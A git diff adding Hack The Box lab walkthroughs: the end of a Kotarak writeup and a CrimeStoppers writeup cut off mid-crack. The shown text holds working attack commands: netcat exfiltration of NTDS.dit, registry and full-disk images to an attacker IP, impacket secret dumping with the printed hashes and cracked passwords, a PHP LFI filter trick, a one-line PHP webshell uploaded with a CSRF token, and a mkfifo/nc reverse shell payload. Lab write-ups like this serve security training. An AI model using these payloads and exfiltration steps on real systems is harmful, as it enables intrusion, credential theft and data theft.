+ python -c 'import pty;pty.spawn("/bin/bash")' + CTRL+Z (or ^Z) + stty raw -echo ; fg + export TERM=screen-256color + export SHELL=bash + stty rows 40 columns 125 + reset + + + +And now here we have a shell that we can clear, auto-complete and use vi from. + + + + tomcat@kotarak-dmz:/$ id + uid=1001(tomcat) gid=1001(tomcat) groups=1001(tomcat) + tomcat@kotarak-dmz:/$ ls -lash backups/ + total 12K + 4.0K drwxr-xr-x 3 root root 4.0K Jul 21 2017 . + 4.0K drwxr-xr-x 27 root root 4.0K Aug 29 2017 .. + 4.0K drwxr-xr-x 2 root root 4.0K Jul 21 2017 backups + tomcat@kotarak-dmz:/$ ls -lash backups/backups/ + total 12K + 4.0K drwxr-xr-x 2 root root 4.0K Jul 21 2017 . + 4.0K drwxr-xr-x 3 root root 4.0K Jul 21 2017 .. + 4.0K -rw-r----- 1 root root 2.3K Jul 12 2017 tomcat-users.xml + tomcat@kotarak-dmz:/$ cat backups/backups/tomcat-users.xml + cat: backups/backups/tomcat-users.xml: Permission denied + tomcat@kotarak-dmz:/$ ls -lash /home + total 16K + 4.0K drwxr-xr-x 4 root root 4.0K Jul 21 2017 . + 4.0K drwxr-xr-x 27 root root 4.0K Aug 29 2017 .. + 4.0K drwxr-xr-x 4 atanas atanas 4.0K Aug 29 2017 atanas + 4.0K drwxr-xr-x 3 tomcat tomcat 4.0K Jul 21 2017 tomcat + tomcat@kotarak-dmz:/$ ls -lash /home/tomcat/ + total 12K + 4.0K drwxr-xr-x 3 tomcat tomcat 4.0K Jul 21 2017 . + 4.0K drwxr-xr-x 4 root root 4.0K Jul 21 2017 .. + 4.0K drwxr-xr-x 3 tomcat tomcat 4.0K Jul 21 2017 to_archive + tomcat@kotarak-dmz:/$ ls -lash /home/tomcat/to_archive/ + total 12K + 4.0K drwxr-xr-x 3 tomcat tomcat 4.0K Jul 21 2017 . + 4.0K drwxr-xr-x 3 tomcat tomcat 4.0K Jul 21 2017 .. + 4.0K drwxr-xr-x 2 tomcat tomcat 4.0K Jul 21 2017 pentest_data + tomcat@kotarak-dmz:/$ ls -lash /home/tomcat/to_archive/pentest_data/ + total 28M + 4.0K drwxr-xr-x 2 tomcat tomcat 4.0K Jul 21 2017 . + 4.0K drwxr-xr-x 3 tomcat tomcat 4.0K Jul 21 2017 .. + 17M -rw-r--r-- 1 tomcat tomcat 17M Jul 21 2017 20170721114636_default_192.168.110.133_psexec.ntdsgrab._333512.dit + 12M -rw-r--r-- 1 tomcat tomcat 12M Jul 21 2017 20170721114637_default_192.168.110.133_psexec.ntdsgrab._089134.bin + + +Here after poking around a bit we found psexec ntds .dit and .bin files, which are normally found on windows active directory controllers, and it's what contains a windows active directory informations (policies, users, and most importantly passwords.) so let's get these files into our local machine: + +_Terminal 1:_ + + + nc 10.10.14.6 9093 < file.bin + nc 10.10.14.6 9094 < file.dit + + +` _Terminal 2:_ + + + [ 10.10.14.6/23 ] [ /dev/pts/15 ] [~/_HTB/Kotarak] + → nc -lvnp 9093 > SYSTEM + listening on [any] 9093 ... + connect to [10.10.14.6] from (UNKNOWN) [10.10.10.55] 48340 + + [ 10.10.14.6/23 ] [ /dev/pts/15 ] [~/_HTB/Kotarak] + → nc -lvnp 9094 > ntds.dit + listening on [any] 9094 ... + connect to [10.10.14.6] from (UNKNOWN) [10.10.10.55] 32822 + + [ 10.10.14.6/23 ] [ /dev/pts/15 ] [~/_HTB/Kotarak] + → file * + ntds.dit: Extensible storage engine DataBase, version 0x620, checksum 0x16d44752, page size 8192, DirtyShutdown, Windows version 6.1 + SYSTEM: MS Windows registry file, NT/2000 or above + + + +Now that we have what we needed, let's use impacket to dump the secrets using both files: + + + + [ 10.10.14.6/23 ] [ /dev/pts/18 ] [~/_HTB/Kotarak] + → impacket-secretsdump -ntds ntds.dit -system SYSTEM LOCAL + Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation + + [*] Target system bootKey: 0x14b6fb98fedc8e15107867c4722d1399 + [*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash) + [*] Searching for pekList, be patient + [*] PEK # 0 found and decrypted: d77ec2af971436bccb3b6fc4a969d7ff + [*] Reading and decrypting hashes from ntds.dit + Administrator:500:aad3b435b51404eeaad3b435b51404ee:e64fe0f24ba2489c05e64354d74ebd11::: + Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: + WIN-3G2B0H151AC$:1000:aad3b435b51404eeaad3b435b51404ee:668d49ebfdb70aeee8bcaeac9e3e66fd::: + krbtgt:502:aad3b435b51404eeaad3b435b51404ee:ca1ccefcb525db49828fbb9d68298eee::: + WIN2K8$:1103:aad3b435b51404eeaad3b435b51404ee:160f6c1db2ce0994c19c46a349611487::: + WINXP1$:1104:aad3b435b51404eeaad3b435b51404ee:6f5e87fd20d1d8753896f6c9cb316279::: + WIN2K31$:1105:aad3b435b51404eeaad3b435b51404ee:cdd7a7f43d06b3a91705900a592f3772::: + WIN7$:1106:aad3b435b51404eeaad3b435b51404ee:24473180acbcc5f7d2731abe05cfa88c::: + atanas:1108:aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe::: + [*] Kerberos keys from ntds.dit + Administrator:aes256-cts-hmac-sha1-96:6c53b16d11a496d0535959885ea7c79c04945889028704e2a4d1ca171e4374e2 + Administrator:aes128-cts-hmac-sha1-96:e2a25474aa9eb0e1525d0f50233c0274 + Administrator:des-cbc-md5:75375eda54757c2f + WIN-3G2B0H151AC$:aes256-cts-hmac-sha1-96:84e3d886fe1a81ed415d36f438c036715fd8c9e67edbd866519a2358f9897233 + WIN-3G2B0H151AC$:aes128-cts-hmac-sha1-96:e1a487ca8937b21268e8b3c41c0e4a74 + WIN-3G2B0H151AC$:des-cbc-md5:b39dc12a920457d5 + WIN-3G2B0H151AC$:rc4_hmac:668d49ebfdb70aeee8bcaeac9e3e66fd + krbtgt:aes256-cts-hmac-sha1-96:14134e1da577c7162acb1e01ea750a9da9b9b717f78d7ca6a5c95febe09b35b8 + krbtgt:aes128-cts-hmac-sha1-96:8b96c9c8ea354109b951bfa3f3aa4593 + krbtgt:des-cbc-md5:10ef08047a862046 + krbtgt:rc4_hmac:ca1ccefcb525db49828fbb9d68298eee + WIN2K8$:aes256-cts-hmac-sha1-96:289dd4c7e01818f179a977fd1e35c0d34b22456b1c8f844f34d11b63168637c5 + WIN2K8$:aes128-cts-hmac-sha1-96:deb0ee067658c075ea7eaef27a605908 + WIN2K8$:des-cbc-md5:d352a8d3a7a7380b + WIN2K8$:rc4_hmac:160f6c1db2ce0994c19c46a349611487 + WINXP1$:aes256-cts-hmac-sha1-96:347a128a1f9a71de4c52b09d94ad374ac173bd644c20d5e76f31b85e43376d14 + WINXP1$:aes128-cts-hmac-sha1-96:0e4c937f9f35576756a6001b0af04ded + WINXP1$:des-cbc-md5:984a40d5f4a815f2 + WINXP1$:rc4_hmac:6f5e87fd20d1d8753896f6c9cb316279 + WIN2K31$:aes256-cts-hmac-sha1-96:f486b86bda928707e327faf7c752cba5bd1fcb42c3483c404be0424f6a5c9f16 + WIN2K31$:aes128-cts-hmac-sha1-96:1aae3545508cfda2725c8f9832a1a734 + WIN2K31$:des-cbc-md5:4cbf2ad3c4f75b01 + WIN2K31$:rc4_hmac:cdd7a7f43d06b3a91705900a592f3772 + WIN7$:aes256-cts-hmac-sha1-96:b9921a50152944b5849c706b584f108f9b93127f259b179afc207d2b46de6f42 + WIN7$:aes128-cts-hmac-sha1-96:40207f6ef31d6f50065d2f2ddb61a9e7 + WIN7$:des-cbc-md5:89a1673723ad9180 + WIN7$:rc4_hmac:24473180acbcc5f7d2731abe05cfa88c + atanas:aes256-cts-hmac-sha1-96:933a05beca1abd1a1a47d70b23122c55de2fedfc855d94d543152239dd840ce2 + atanas:aes128-cts-hmac-sha1-96:d1db0c62335c9ae2508ee1d23d6efca4 + atanas:des-cbc-md5:6b80e391f113542a + [*] Cleaning up... + + + +Out of these hashes we want the following: + + + Administrator:500:aad3b435b51404eeaad3b435b51404ee:e64fe0f24ba2489c05e64354d74ebd11::: + atanas:1108:aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe::: + + + +it's quite odd to have windows stuff on that linux machine, so let's see which machines our reverse shell'd machine can talk to / is currently talking to: + + + tomcat@kotarak-dmz:/home/tomcat/to_archive/pentest_data$ arp -a + ? (10.0.3.133) at 00:16:3e:c9:bd:b1 [ether] on lxcbr0 + ? (10.10.10.2) at 00:50:56:b9:35:90 [ether] on eth0 + + tomcat@kotarak-dmz:/home/tomcat/to_archive/pentest_data$ nc -v 10.0.3.133 22 + Connection to 10.0.3.133 22 port [tcp/ssh] succeeded! + SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.2 + + + +However it seems like the box kotarak is talking to isn't a windows machine. Therefore we'll need to crack the hashes we got + + + [ 10.10.14.6/23 ] [ /dev/pts/15 ] [~/_HTB/Kotarak] + → vim hashes + + Administrator:500:aad3b435b51404eeaad3b435b51404ee:e64fe0f24ba2489c05e64354d74ebd11::: + atanas:1108:aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe::: + + [ 10.10.14.6/23 ] [ /dev/pts/15 ] [~/_HTB/Kotarak] + → awk -F: '{print $4}' hashes + e64fe0f24ba2489c05e64354d74ebd11 + 2b576acbe6bcfda7294d6bd18041b8fe + + + +` ![](prg/7/162.png) ![](prg/7/17.png) + +And we have credentials ! we found the Passwords Password123! and f16tomcat! so let's login as atanas via ssh: + + + [ 10.10.14.6/23 ] [ /dev/pts/18 ] [~/_HTB/Kotarak] + → ssh atanas@10.10.10.55 + atanas@10.10.10.55's password: + Permission denied, please try again. + atanas@10.10.10.55's password: + + + +We can't so we're going to go from our previous reverse shell and su there. + +![](prg/7/18.png) + + + tomcat@kotarak-dmz:/$ + tomcat@kotarak-dmz:/$ su - atanas + Password: f16tomcat! + + + atanas@kotarak-dmz:~$ ls -l + total 4 + -rw-rw---- 1 atanas atanas 33 Jul 19 2017 user.txt + atanas@kotarak-dmz:~$ cat user.txt + 93XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + +And we have the user flag! + +## **Part 3 : Getting Root Access** + +To get the root flag we need to first check the groups the user is into: + + + atanas@kotarak-dmz:~$ id + uid=1000(atanas) gid=1000(atanas) groups=1000(atanas),4(adm),6(disk),24(cdrom),30(dip),34(backup),46(plugdev),115(lpadmin),116(sambashare) + + atanas@kotarak-dmz:~$ ps -ef | grep lxc + root 914 1 0 Dec21 ? 00:00:00 /usr/bin/lxcfs /var/lib/lxcfs/ + lxc-dns+ 1381 1 0 Dec21 ? 00:00:00 dnsmasq -u lxc-dnsmasq --strict-order --bind-interfaces --pid-file=/run/lxc/dnsmasq.pid --listen-address 10.0.3.1 --dhcp-range 10.0.3.2,10.0.3.254 --dhcp-lease-max=253 --dhcp-no-override --except-interface=lo --interface=lxcbr0 --dhcp-leasefile=/var/lib/misc/dnsmasq.lxcbr0.leases --dhcp-authoritative + root 1413 1 0 Dec21 ? 00:00:00 [lxc monitor] /var/lib/lxc kotarak-int + atanas 83412 83387 0 10:29 pts/2 00:00:00 grep --color=auto lxc + + +Here we see something odd, the user atanas is in the disk group, which means that he has access to the drives on this machine. Moreover doing ps -ef we see some lxc processes running, therefore it's safe to assume our next step is to look into the LXC container. But first let's poke around the disks since we should have access to them: + + + atanas@kotarak-dmz:~$ ls -lash /dev/sd* + 0 brw-rw---- 1 root disk 8, 0 Dec 21 11:45 /dev/sda + 0 brw-rw---- 1 root disk 8, 1 Dec 21 11:45 /dev/sda1 + 0 brw-rw---- 1 root disk 8, 2 Dec 21 11:45 /dev/sda2 + 0 brw-rw---- 1 root disk 8, 5 Dec 21 11:45 /dev/sda5 + + atanas@kotarak-dmz:~$ mount | grep root + /dev/mapper/Kotarak--vg-root on / type ext4 (rw,relatime,errors=remount-ro,data=ordered) + + +And here we're hinted at the mounted filesystem Kotarak--vg-root: + + + atanas@kotarak-dmz:~$ ls -lash /dev/mapper/Kotarak--vg-root + 0 lrwxrwxrwx 1 root root 7 Dec 21 11:45 /dev/mapper/Kotarak--vg-root -> ../dm-0 + + + +And here we see that it's a symlink to /dev/dm-0: + + + atanas@kotarak-dmz:~$ ls -lash /dev/dm-0 + 0 brw-rw---- 1 root disk 252, 0 Dec 21 11:45 /dev/dm-0 + + strings /dev/dm-0 + ^C + + +running the strings command on dm-0 we see that we can actually read the file, therefore let's send it over to our local machine but first let's check if everything we need is there: + + + atanas@kotarak-dmz:~$ which dd + /bin/dd + + atanas@kotarak-dmz:~$ which nc + /bin/nc + + atanas@kotarak-dmz:~$ which gunzip + /bin/gunzip + + + +Looks like it, so we're going to use dd to print out the contents of dm-0 pipe it into gunzip to get rid of the unused 0s and pipe it into netcat to send it back to our machine: + + + atanas@kotarak-dmz:~$ dd if=/dev/dm-0 | gzip -1 - | nc 10.10.14.6 9095 + + + + + [ 10.10.14.6/23 ] [ /dev/pts/19 ] [~/_HTB/Kotarak] + → nc -lvnp 9095 > disk.img.gz + listening on [any] 9095 ... + connect to [10.10.14.6] from (UNKNOWN) [10.10.10.55] 56702 + + + +using gzip is going to compress the file for us to avoid downloading useless gigabytes filled with 0s + +![](prg/7/19.png) + +Wait for it to finish, since the compressed file is 2.2G and then decompress it locally (7.5Gigs) + + + [ 10.10.14.6/23 ] [ /dev/pts/20 ] [~/_HTB/Kotarak] + →gunzip disk.img.gz + + [ 10.10.14.6/23 ] [ /dev/pts/20 ] [~/_HTB/Kotarak] + → ls -lash disk.img + 7.1G -rw-r--r-- 1 nothing nothing 7.0G Dec 22 16:44 disk.img + + [ 10.10.14.6/23 ] [ /dev/pts/20 ] [~/_HTB/Kotarak] + → mkdir /mnt/kotarak + mkdir: cannot create directory ‘/mnt/kotarak’: Permission denied + + [ 10.10.14.6/23 ] [ /dev/pts/20 ] [~/_HTB/Kotarak] + → sudo !! + + [ 10.10.14.6/23 ] [ /dev/pts/20 ] [~/_HTB/Kotarak] + → sudo mkdir /mnt/kotarak + [sudo] password for nothing: + + [ 10.10.14.6/23 ] [ /dev/pts/20 ] [~/_HTB/Kotarak] + → sudo mount disk.img /mnt/kotarak + + [ 10.10.14.6/23 ] [ /dev/pts/20 ] [~/_HTB/Kotarak] + → cd /mnt/kotarak + + [ 10.10.14.6/23 ] [ /dev/pts/20 ] [/mnt/kotarak] + → ls -l + total 116 + drwxr-xr-x 3 root root 4096 Jul 21 2017 backups + drwxr-xr-x 2 root root 4096 Jul 10 2017 bin + drwxr-xr-x 2 root root 4096 Jul 9 2017 boot + drwxr-xr-x 4 root root 4096 Jul 21 2017 dev + drwxr-xr-x 105 root root 4096 Jan 18 2018 etc + drwxr-xr-x 4 root root 4096 Jul 21 2017 home + drwxr-xr-x 24 root root 4096 Jul 21 2017 lib + drwxr-xr-x 2 root root 4096 Jul 21 2017 lib32 + drwxr-xr-x 2 root root 4096 Jul 21 2017 lib64 + drwxr-xr-x 2 root root 4096 Jul 21 2017 libx32 + drwx------ 2 root root 16384 Jul 9 2017 lost+found + drwxr-xr-x 4 root root 4096 Jul 21 2017 media + drwxr-xr-x 2 root root 4096 Jul 19 2016 mnt + drwxr-xr-x 4 root root 4096 Jul 21 2017 opt + drwxr-xr-x 2 root root 4096 Jul 21 2017 proc + drwxrwxrwx 6 root root 4096 Sep 19 2017 root + drwxr-xr-x 2 root root 4096 Jul 9 2017 run + drwxr-xr-x 2 root root 12288 Jul 21 2017 sbin + drwxr-xr-x 2 root root 4096 Jul 21 2017 snap + drwxr-xr-x 2 root root 4096 Jul 21 2017 srv + drwxr-xr-x 2 root root 4096 Jul 21 2017 sys + drwxrwxrwt 10 root root 4096 Dec 22 16:39 tmp + drwxr-xr-x 13 root root 4096 Jul 21 2017 usr + drwxr-xr-x 15 root root 4096 Jul 21 2017 var + lrwxrwxrwx 1 root root 29 Aug 29 2017 vmlinuz -> boot/vmlinuz-4.4.0-87-generic + lrwxrwxrwx 1 root root 29 Jul 10 2017 vmlinuz.old -> boot/vmlinuz-4.4.0-83-generic + + +And from here just go to the root directory and print out the root flag: + + + + [ 10.10.14.6/23 ] [ /dev/pts/20 ] [/mnt/kotarak] + → sudo -i + + [ 10.10.14.6/23 ] [ /dev/pts/20 ] [~] + → cd /mnt/kotarak/var/lib/lxc/kotarak-int/rootfs/root + + [ 10.10.14.6/23 ] [ /dev/pts/20 ] [kotarak-int/rootfs/root] + → cat root.txt + 95XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + [ 10.10.14.6/23 ] [ /dev/pts/18 ] [~/_HTB/Kotarak] + → sudo umount /mnt/kotarak + + + +And there you have it! + +## **Conclusion** + +Here we can see the progress graph : + +![](img/6_graph.png) + diff --git a/Hard/8.md b/Hard/8.md new file mode 100644 index 0000000..fcbc292 --- /dev/null +++ b/Hard/8.md @@ -0,0 +1,611 @@ +# CrimeStoppers Writeup + +![](img/8.png) + +## Introduction : + +CrimeStoppers is a hard linux box released back in January 2018. + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sT** for tcp ports and **-sU** to for udp ports. + + + [ 10.10.14.40/23 ] [ /dev/pts/12 ] [~] + → sudo nmap -vvv -sTU -p- 10.10.10.80 --max-retries 0 -Pn --min-rate=500 | grep Discovered + Discovered open port 80/tcp on 10.10.10.80 + + + +Once we know which ports are opened, we enumerate the ones we want with **-p** , using the flags **-sC** for default scripts, and **-sV** to enumerate versions. + + + [ 10.10.14.7/23 ] [ /dev/pts/8 ] [~] + → sudo nmap -sCV -p80 10.10.10.80 + Starting Nmap 7.91 ( https://nmap.org ) at 2021-01-03 10:21 GMT + Nmap scan report for 10.10.10.80 + Host is up (0.033s latency). + + PORT STATE SERVICE VERSION + 80/tcp open http Apache httpd 2.4.25 ((Ubuntu)) + |_http-server-header: Apache/2.4.25 (Ubuntu) + |_http-title: FBIs Most Wanted: FSociety + + Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . + Nmap done: 1 IP address (1 host up) scanned in 8.54 seconds + + + +## **Part 2 : Getting User Access** + +Our nmap scan picked up port 80 so let's investigate it: + +![](prg/8/1.png) + +we navigate to the upload page: + +![](prg/8/2.png) + +And here the fun starts. Let's see if this op parameter contains a LFI: + +![](prg/8/3.png) + +So it seems the developer tries to protect against LFI attacks, so let's see if we can poke around that some more using well-known php vulnerability with base64 encryption: + + + [ 10.10.14.7/23 ] [ /dev/pts/8 ] [~] + → curl http://10.10.10.80/\?op\=php://filter/convert.base64-encode/resource\=view 2>/dev/null | tail -n21 | head -n1 + PD9waHAKaW5jbHVkZSAnY29tbW9uLnBocCc7CgppZihlbXB0eSgkX0dFVFsnc2VjcmV0bmFtZSddKSkgewogICAgaGVhZGVyKCdMb2NhdGlvbjogP29wPWhvbWUnKTsKICAgIGV4aXQoKTsKfQoKJHNlY3JldG5hbWUgPSAkX0dFVFsnc2VjcmV0bmFtZSddOwppZiAoJHNlY3JldG5hbWUgPT0gIndoaXRlcm9zZS50eHQiKSB7CgkkdGlwID0gZmlsZV9nZXRfY29udGVudHMoJ3VwbG9hZHMvJyAuIGJhc2VuYW1lKCRzZWNyZXRuYW1lKSk7Cn0gZWxzZSB7CgkkdGlwID0gZmlsZV9nZXRfY29udGVudHMoJ3VwbG9hZHMvJyAuICRfU0VSVkVSWydSRU1PVEVfQUREUiddIC4gJy8nIC4gYmFzZW5hbWUoJHNlY3JldG5hbWUpKTsKfQoKPz4KCjw/cGhwCmVjaG8gIllvdXIgVGlwOjxiciAvPiI7CmVjaG8gaHRtbGVudGl0aWVzKCR0aXApOwo/Pgo8L3NjcmlwdD4K <****/footer> + +Then simply pipe it through base64 -d and you get the following results: + +![](prg/8/4.png) + +Not much in the view php page above, however on the upload php file we see something interesting: + +![](prg/8/5.png) + + + if(isset($_POST['submit']) && isset($_POST['tip'])) { + // CSRF Token to help ensure this user came from our submission form. + if 1 == 1 { //(!empty($_POST['token'])) { + if (hash_equals($token, $_POST['token'])) { + $_SESSION['token'] = bin2hex(openssl_random_pseudo_bytes(32)); + // Place tips in the folder of the client IP Address. + if (!is_dir('uploads/' . $client_ip)) { + mkdir('uploads/' . $client_ip, 0755, false); + } + $tip = $_POST['tip']; + $secretname = genFilename(); + file_put_contents("uploads/". $client_ip . '/' . $secretname, $tip); + header("Location: ?op=view&secretname;=$secretname"); + } else { + print 'Hacker Detected.'; + print $token; + die(); + } + } + + + +Here we see that the uploaded files are uploaded into **/uploads/ip/** , so we should be able to upload arbitrary data into a file. Moving into the index php page we see something interesting: + +![](prg/8/6.png) + +There is a disabled parameter here named 'list' so let's browse to it and see what we get: + +![](prg/8/7.png) + +Which reveals us a textfile: + +![](prg/8/8.png) + +Which reveals us the parameter "secretname" which most likely designates the filename itself as seen above + + + [ 10.10.14.8/23 ] [ /dev/pts/12 ] [~/HTB/CrimeStoppers] + → vim cmd.php + + [ 10.10.14.8/23 ] [ /dev/pts/12 ] [~/HTB/CrimeStoppers] + → cat cmd.php + <****?php echo system($_GET['cmd']); ?****> + + + [ 10.10.14.8/23 ] [ /dev/pts/12 ] [~/HTB/CrimeStoppers] + → zip shell.zip cmd.php + adding: cmd.php (stored 0%) + +Now we can use curl to upload to the site. We need the session cookie and the CSRF token, and then we need to follow the redirection (302) location afterward, for debugging purposes we pass it through burpsuite proxy with the **-x 127.0.0.1:8080** as follows: + + + [ 10.10.14.8/23 ] [ /dev/pts/0 ] [~/HTB/Crimestoppers] + → curl -sD - http://10.10.10.80/\?op\=upload -x 127.0.0.1:8080 | grep -e PHPSESSID -e 'name="token"' + Set-Cookie: PHPSESSID=kgr3kb7nskn6e2gh6spmtfjfk5; path=/ + <****input type="text" id="token" name="token" style="display: none" value="16df27a6347c2285cc0dbf5c1525d0f0be26c44cdde404a2fd2c0e90a592ffd6" style="width:355px;" /> + +Next we use the CSRF token and the session cookie to send the zip file containing our cmd.php payload (btw do it inside bash because there's something zsh doesn't like in it:): + + + + [ 10.10.14.8/23 ] [ /dev/pts/0 ] [~/HTB/Crimestoppers] + → bash + ┌──(nothing㉿nowhere)-[~/HTB/Crimestoppers] + └─$ curl -X POST -sD - -F "tip=<****shell.zip" -F "name=a" -F "token=16df27a6347c2285cc0dbf5c1525d0f0be26c44cdde404a2fd2c0e90a592ffd6" -F "submit=Send Tip!" -x 127.0.0.1:8080 http://10.10.10.80/\?op\=upload -H "Referer: http://10.10.10.80/?op=upload" -H "Cookie: admin=1; PHPSESSID=kgr3kb7nskn6e2gh6spmtfjfk5" + +` ![](prg/8/28.png) + +We forward the request and we get the location of our file: + + + ┌──(nothing㉿nowhere)-[~/HTB/Crimestoppers] + └─$ curl -sD - http://10.10.10.80/?op=upload -x 127.0.0.1:8080 | grep -e PHPSESSID -e 'name="token"' + + Set-Cookie: PHPSESSID=cqoq8gg8fqd3cqfl7mflbqfff5; path=/ + <****input type="text" id="token" name="token" style="display: none" value="74076b162a114837f912f9476baa778842aa1d1385702c88921495bd9d2ccd36" style="width:355px;" /> + + ┌──(nothing㉿nowhere)-[~/HTB/Crimestoppers] + └─$ curl -X POST -sD - -F "tip= <****shell.zip" -F "name=a" -F "token=74076b162a114837f912f9476baa778842aa1d1385702c88921495bd9d2ccd36" -F "submit=Send Tip!" -x 127.0.0.1:8080 http://10.10.10.80/\?op\=upload -H "Referer: http://10.10.10.80/?op=upload" -H "Cookie: admin=1; PHPSESSID=cqoq8gg8fqd3cqfl7mflbqfff5" | grep Location + + Location: ?op=view &secretname;=db0cf33401569e78efe46ec7df40e66a4d1f3252 + + + +now that we have the location **?op=view &secretname;=db0cf33401569e78efe46ec7df40e66a4d1f3252** we can get command execution with the **zip://** filter at **http://10.10.10.80/?op=zip://uploads/10.10.14.8/db0cf33401569e78efe46ec7df40e66a4d1f3252%23cmd &cmd;=id**: + +![](prg/8/29.png) + +And we have code execution as www-data! Now let's send it over to burpsuite's repeater: + +![](prg/8/30.png) + +Now let's see if we can get to the user flag: + +![](prg/8/31.png) ![](prg/8/32.png) + +And we got the user flag from dom's directory! + +## **Part 3 : Getting Root Access** + +Before we proceed to privesc let's get a reverse bash shell: + + + [ 10.10.14.8/23 ] [ /dev/pts/7 ] [~/HTB/Crimestoppers] + → nc -lvnp 9001 + listening on [any] 9001 ... + + + + + #RAW PAYLOAD + GET /?op=zip://uploads/10.10.14.8/db0cf33401569e78efe46ec7df40e66a4d1f3252%23cmd&cmd;=rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.11 9001 >/tmp/f HTTP/1.1 + + #URL ENCODED (SELECT AND CTRL+U) + http://10.10.10.80/?op=zip://uploads/10.10.14.8/db0cf33401569e78efe46ec7df40e66a4d1f3252%23cmd&cmd;=rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+10.10.14.11+9001+>/tmp/f + + + +` ![](prg/8/33.png) + + + [ 10.10.14.8/23 ] [ /dev/pts/7 ] [~/HTB/Crimestoppers] + → nc -lvnp 9001 + listening on [any] 9001 ... + connect to [10.10.14.8] from (UNKNOWN) [10.10.10.80] 40832 + /bin/sh: 0: can't access tty; job control turned off + $ + + +And we get a reverse shell! Now as usual we spawn a fully interactive TTY: + + + /bin/sh: 0: can't access tty; job control turned off + $ which python python3 wget curl bash sh + /usr/bin/python3 + /usr/bin/wget + /bin/bash + /bin/sh + $ python3 -c 'import pty; pty.spawn("/bin/bash")' + www-data@ubuntu:/var/www/html$ ^Z + [1] + 429408 suspended nc -lvnp 9001 + + [ 10.10.14.8/23 ] [ /dev/pts/7 ] [~/HTB/Crimestoppers] + → stty raw -echo ; fg + [1] + 429408 continued nc -lvnp 9001 + export TERM=screen-256color + www-data@ubuntu:/var/www/html$ export SHELL=bash + www-data@ubuntu:/var/www/html$ stty rows 50 columns 200 + www-data@ubuntu:/var/www/html$ reset + + + +Now that's done we navigate to dom's home directory to find the .thunderbird hint: + + + www-data@ubuntu:/var/www/html$ cd /home/dom + www-data@ubuntu:/home/dom$ ls -lash + total 44K + 4.0K drwxr-xr-x 5 dom dom 4.0K Dec 25 2017 . + 4.0K drwxr-xr-x 3 root root 4.0K Dec 16 2017 .. + 4.0K -rw------- 1 dom dom 52 Dec 16 2017 .Xauthority + 4.0K -rw------- 1 dom dom 5 Dec 22 2017 .bash_history + 4.0K -rw-r--r-- 1 dom dom 220 Dec 16 2017 .bash_logout + 4.0K -rw-r--r-- 1 dom dom 3.7K Dec 16 2017 .bashrc + 4.0K drwx------ 2 dom dom 4.0K Dec 16 2017 .cache + 4.0K -rw-r--r-- 1 dom dom 675 Dec 16 2017 .profile + 4.0K drwx------ 2 dom dom 4.0K Dec 25 2017 .ssh + 0 -rw-r--r-- 1 dom dom 0 Dec 16 2017 .sudo_as_admin_successful + 4.0K drw-r-xr-x 3 root root 4.0K Dec 16 2017 .thunderbird + 4.0K -r--r--r-- 1 root root 33 Jul 9 09:07 user.txt + + www-data@ubuntu:/home/dom$ which nc + /bin/nc + + + +Let's zip it and download it to our box since netcat is already on the box: + + + [terminal 1] + www-data@ubuntu:/home/dom$ zip -r /tmp/thunder.zip .thunderbird/ + + www-data@ubuntu:/home/dom$ cd /tmp + www-data@ubuntu:/tmp$ + www-data@ubuntu:/tmp$ ls -l + total 408 + prw-r--r-- 1 www-data www-data 0 Jul 9 10:00 f + -rw-r--r-- 1 www-data www-data 414930 Jul 9 09:59 thunder.zip + www-data@ubuntu:/tmp$ md5sum thunder.zip + 57666b729532e628aac22b2e7d84b21d thunder.zip + www-data@ubuntu:/tmp$ cat thunder.zip | nc 10.10.14.8 9999 + + [terminal 2] + [ 10.10.14.8/23 ] [ /dev/pts/31 ] [~/HTB/Crimestoppers] + → nc -lvnp 9999 > thunder.zip + listening on [any] 9999 ... + connect to [10.10.14.8] from (UNKNOWN) [10.10.10.80] 49806 + ^C + + [ 10.10.14.8/23 ] [ /dev/pts/31 ] [~/HTB/Crimestoppers] + → md5sum thunder.zip + 57666b729532e628aac22b2e7d84b21d thunder.zip + + + +Both hashes match, therefore the file transfer was successful. + + + [ 10.10.14.8/23 ] [ /dev/pts/31 ] [~/HTB/Crimestoppers] + → unzip thunder.zip + Archive: thunder.zip + creating: .thunderbird/ + creating: .thunderbird/36jinndk.default/ + inflating: .thunderbird/36jinndk.default/webappsstore.sqlite + inflating: .thunderbird/36jinndk.default/extensions.ini + extracting: .thunderbird/36jinndk.default/times.json + inflating: .thunderbird/36jinndk.default/blist.sqlite + extracting: .thunderbird/36jinndk.default/.parentlock + inflating: .thunderbird/36jinndk.default/xulstore.json + inflating: .thunderbird/36jinndk.default/formhistory.sqlite + inflating: .thunderbird/36jinndk.default/**key3.db** + + + +As we unzip it, we run **mozilla2john** on the **key3.db** file to then crack it using **john** and rockyou.txt: + + + [ 10.10.14.8/23 ] [ /dev/pts/31 ] [~/HTB/Crimestoppers] + → sudo /usr/share/john/mozilla2john.py .thunderbird/36jinndk.default/key3.db + key3.db:$mozilla$*3*20*1*811d3b70d608a8ad6faee44bf0568bd77ca8b2ca*11*0000000000000000000000*16*1810e3dcb634e700a4d959e35d38f282*20*11a9519177437ef38aa8bf1966d02f0d9f6a8c2f + + [ 10.10.14.8/23 ] [ /dev/pts/31 ] [~/HTB/Crimestoppers] + → sudo /usr/share/john/mozilla2john.py .thunderbird/36jinndk.default/key3.db > key3.db.john + + [ 10.10.14.8/23 ] [ /dev/pts/31 ] [~/HTB/Crimestoppers] + → john -w=/usr/share/wordlists/rockyou.txt key3.db.john --fork=4 + Using default input encoding: UTF-8 + Loaded 1 password hash (Mozilla, Mozilla key3.db [SHA1 3DES 32/64]) + Node numbers 1-4 of 4 